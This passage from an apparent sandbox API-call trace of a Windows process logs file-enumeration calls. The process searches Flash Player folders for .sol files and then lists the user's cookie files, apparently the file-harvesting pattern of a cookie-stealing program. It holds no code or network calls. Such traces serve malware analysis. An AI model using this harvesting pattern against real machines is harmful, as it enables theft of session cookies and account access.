nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x44668e0 [0111.653] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ea00960, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x57d9fbc0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x57d9fbc0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.653] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.653] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57d9fbc0, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x59b60ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x59b60ec0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="support", cAlternateFileName="")) returned 1 [0111.653] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.653] lstrlenW (lpString="support") returned 7 [0111.653] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", pszFile="support" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support" [0111.653] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e220 [0111.653] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x51 [0111.653] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xa2) returned 0x9a6e480 [0111.653] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", lpDst=0x9a6e480, nSize=0x51 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support") returned 0x51 [0111.653] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support") returned 80 [0111.653] lstrlenW (lpString="*.sol") returned 5 [0111.653] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e530 [0111.654] PathCombineW (in: pszDest=0x9a6e530, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", pszFile="*.sol" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*.sol") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*.sol" [0111.654] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*.sol", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="WEBAPP~1.JSO")) returned 0xffffffffffffffff [0111.654] PathCombineW (in: pszDest=0x9a6e530, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*" [0111.654] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57d9fbc0, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x59b60ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x59b60ec0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466580 [0111.654] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57d9fbc0, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x59b60ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x59b60ec0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.654] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.654] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x59b60ec0, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x59b60ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x59b60ec0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="flashplayer", cAlternateFileName="FLASHP~1")) returned 1 [0111.654] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.654] lstrlenW (lpString="flashplayer") returned 11 [0111.654] PathCombineW (in: pszDest=0x9a6e530, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", pszFile="flashplayer" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer" [0111.654] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a91840 [0111.654] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x5d [0111.654] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xba) returned 0x9a91aa0 [0111.654] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", lpDst=0x9a91aa0, nSize=0x5d | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer") returned 0x5d [0111.654] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer") returned 92 [0111.654] lstrlenW (lpString="*.sol") returned 5 [0111.654] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a91b70 [0111.654] PathCombineW (in: pszDest=0x9a91b70, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", pszFile="*.sol" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*.sol") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*.sol" [0111.654] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*.sol", lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0111.655] PathCombineW (in: pszDest=0x9a91b70, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*" [0111.655] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*", lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x59b60ec0, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x59b60ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x59b60ec0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0111.655] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x59b60ec0, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x59b60ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x59b60ec0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.655] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.655] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x59b60ec0, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x59b60ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x59b60ec0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sys", cAlternateFileName="")) returned 1 [0111.655] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.655] lstrlenW (lpString="sys") returned 3 [0111.655] PathCombineW (in: pszDest=0x9a91b70, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", pszFile="sys" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" [0111.655] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a91d80 [0111.655] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x61 [0111.655] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xc2) returned 0x9a91fe0 [0111.655] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", lpDst=0x9a91fe0, nSize=0x61 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned 0x61 [0111.655] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned 96 [0111.655] lstrlenW (lpString="*.sol") returned 5 [0111.655] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a920b0 [0111.655] PathCombineW (in: pszDest=0x9a920b0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", pszFile="*.sol" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*.sol") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*.sol" [0111.655] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*.sol", lpFindFileData=0x9a91d80 | out: lpFindFileData=0x9a91d80*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x59b60ec0, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x59b60ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x59b60ec0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x123, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.sol", cAlternateFileName="")) returned 0x4466940 [0111.655] lstrlenW (lpString="settings.sol") returned 12 [0111.655] lstrlenW (lpString="*.sol") returned 5 [0111.655] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x136) returned 0x9a922c0 [0111.656] wcscpy (in: _Dest=0x9a922e8, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" [0111.656] StrRChrW (lpStart="*.sol", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.656] PathCombineW (in: pszDest=0x9a922e8, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", pszFile="settings.sol" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" [0111.656] FindNextFileW (in: hFindFile=0x4466940, lpFindFileData=0x9a91d80 | out: lpFindFileData=0x9a91d80*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x59b60ec0, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x59b60ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x59b60ec0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x123, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.sol", cAlternateFileName="")) returned 0 [0111.656] FindClose (in: hFindFile=0x4466940 | out: hFindFile=0x4466940) returned 1 [0111.656] PathCombineW (in: pszDest=0x9a920b0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*" [0111.656] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*", lpFindFileData=0x9a91d80 | out: lpFindFileData=0x9a91d80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x59b60ec0, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x59b60ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x59b60ec0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466940 [0111.656] FindNextFileW (in: hFindFile=0x4466940, lpFindFileData=0x9a91d80 | out: lpFindFileData=0x9a91d80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x59b60ec0, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x59b60ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x59b60ec0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.656] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.656] FindNextFileW (in: hFindFile=0x4466940, lpFindFileData=0x9a91d80 | out: lpFindFileData=0x9a91d80*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x59b60ec0, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x59b60ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x59b60ec0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x123, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.sol", cAlternateFileName="")) returned 1 [0111.656] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.656] FindNextFileW (in: hFindFile=0x4466940, lpFindFileData=0x9a91d80 | out: lpFindFileData=0x9a91d80*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x59b60ec0, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x59b60ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x59b60ec0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x123, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.sol", cAlternateFileName="")) returned 0 [0111.656] FindClose (in: hFindFile=0x4466940 | out: hFindFile=0x4466940) returned 1 [0111.656] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a920b0 | out: hHeap=0x9770000) returned 1 [0111.656] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91fe0 | out: hHeap=0x9770000) returned 1 [0111.656] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91d80 | out: hHeap=0x9770000) returned 1 [0111.656] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x59b60ec0, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x59b60ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x59b60ec0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sys", cAlternateFileName="")) returned 0 [0111.656] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0111.656] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91b70 | out: hHeap=0x9770000) returned 1 [0111.656] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91aa0 | out: hHeap=0x9770000) returned 1 [0111.657] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91840 | out: hHeap=0x9770000) returned 1 [0111.657] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x59b60ec0, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x59b60ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x59b60ec0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="flashplayer", cAlternateFileName="FLASHP~1")) returned 0 [0111.657] FindClose (in: hFindFile=0x4466580 | out: hFindFile=0x4466580) returned 1 [0111.657] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e530 | out: hHeap=0x9770000) returned 1 [0111.657] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0111.657] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e220 | out: hHeap=0x9770000) returned 1 [0111.657] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57d9fbc0, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x59b60ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x59b60ec0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="support", cAlternateFileName="")) returned 0 [0111.657] FindClose (in: hFindFile=0x44668e0 | out: hFindFile=0x44668e0) returned 1 [0111.657] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e010 | out: hHeap=0x9770000) returned 1 [0111.657] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0111.657] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fc10 | out: hHeap=0x9770000) returned 1 [0111.657] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9770cb0 | out: lpFindFileData=0x9770cb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ea00960, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x57d9fbc0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x57d9fbc0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 0 [0111.657] FindClose (in: hFindFile=0x4466880 | out: hFindFile=0x4466880) returned 1 [0111.657] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fa00 | out: hHeap=0x9770000) returned 1 [0111.657] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770f10 | out: hHeap=0x9770000) returned 1 [0111.657] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770cb0 | out: hHeap=0x9770000) returned 1 [0111.657] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dd20 | out: hHeap=0x9770000) returned 1 [0111.657] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x20c) returned 0x9770cb0 [0111.657] SHGetFolderPathW (in: hwnd=0x0, csidl=33, hToken=0x0, dwFlags=0x0, pszPath=0x9770cb0 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies") returned 0x0 [0111.657] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" [0111.657] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9b6fa00 [0111.657] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3d [0111.657] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x7a) returned 0x9770ed0 [0111.657] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", lpDst=0x9770ed0, nSize=0x3d | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned 0x3d [0111.657] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned 60 [0111.657] lstrlenW (lpString="*.txt") returned 5 [0111.657] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9b6fc60 [0111.658] PathCombineW (in: pszDest=0x9b6fc60, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", pszFile="*.txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\*.txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\*.txt" [0111.658] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\*.txt", lpFindFileData=0x9b6fa00 | out: lpFindFileData=0x9b6fa00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc6a29610, ftCreationTime.dwHighDateTime=0x1d2fb16, ftLastAccessTime.dwLowDateTime=0xc6a29610, ftLastAccessTime.dwHighDateTime=0x1d2fb16, ftLastWriteTime.dwLowDateTime=0xc6a29610, ftLastWriteTime.dwHighDateTime=0x1d2fb16, nFileSizeHigh=0x0, nFileSizeLow=0x40, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@g.live[1].txt", cAlternateFileName="AETADZ~3.TXT")) returned 0x4466880 [0111.658] lstrlenW (lpString="aetadzjz@g.live[1].txt") returned 22 [0111.658] lstrlenW (lpString="*.txt") returned 5 [0111.658] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x102) returned 0x9a6e990 [0111.658] wcscpy (in: _Dest=0x9a6e9b8, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" [0111.658] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a6005c) returned 0x0 [0111.658] PathCombineW (in: pszDest=0x9a6e9b8, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", pszFile="aetadzjz@g.live[1].txt" | out: 